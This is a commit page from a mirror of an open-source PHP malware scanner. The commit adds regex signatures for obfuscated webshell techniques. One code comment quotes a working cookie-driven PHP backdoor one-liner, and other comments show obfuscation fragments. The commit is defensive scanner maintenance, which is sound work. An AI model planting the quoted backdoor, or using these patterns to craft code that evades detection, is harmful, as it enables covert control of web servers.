External/php-malware-scanner
1
0
Fork 0
mirror of https://github.com/scr34m/php-malware-scanner.git synced 2026-06-16 12:30:35 +00:00
Code Issues Packages Projects Releases Wiki Activity

Pattern updates from new infections

Browse Source
This commit is contained in:
Gabor Gyorvari
2021-05-27 06:38:53 +02:00
parent 34ea02323b
commit f4d53e89d8
2 changed files with 19 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
definitions/patterns_re.txt
View File

@@ -116,4 +116,13 @@ function\s+_[0-9]{8,}\(
create_function\s*\(\s*['"]{2}
# control concated from cookie at the call
(\$[a-z]{2,}=urldecode\(\$_COOKIE\['[a-z]{2,}'\]\);){3,}
(\$[a-z]{2,}=urldecode\(\$_COOKIE\['[a-z]{2,}'\]\);){3,}
# ${$O{18}.$O{7}.$O{24}.$O{2}.$O{50}.$O{8}
(\$[A-Z]+\{\d+\}\.){3,}
# comment in variable name $_REQUEST /*YUsrqpbzvXTSa...QpDNTPYQvLSFPCqsSnWNVqPdSIAYaQj*/[
\$_REQUEST\s*\/\*[A-Za-z]+\*\/\[
# cookie payload if(isset($_COOKIE)){$p=$_COOKIE;(count($p)==55&&in_array(gettype($p).count($p),$p))?(($p[68]=$p[68].$p[22])&&($p[35]=$p[68]($p[35]))&&($p=$p[35]($p[13],$p[68]($p[45])))&&$p()):$p;}
\(count\(\$p\)==\d+&&in_array\(gettype\(\$p\)\.count\(\$p\),\$p\)\)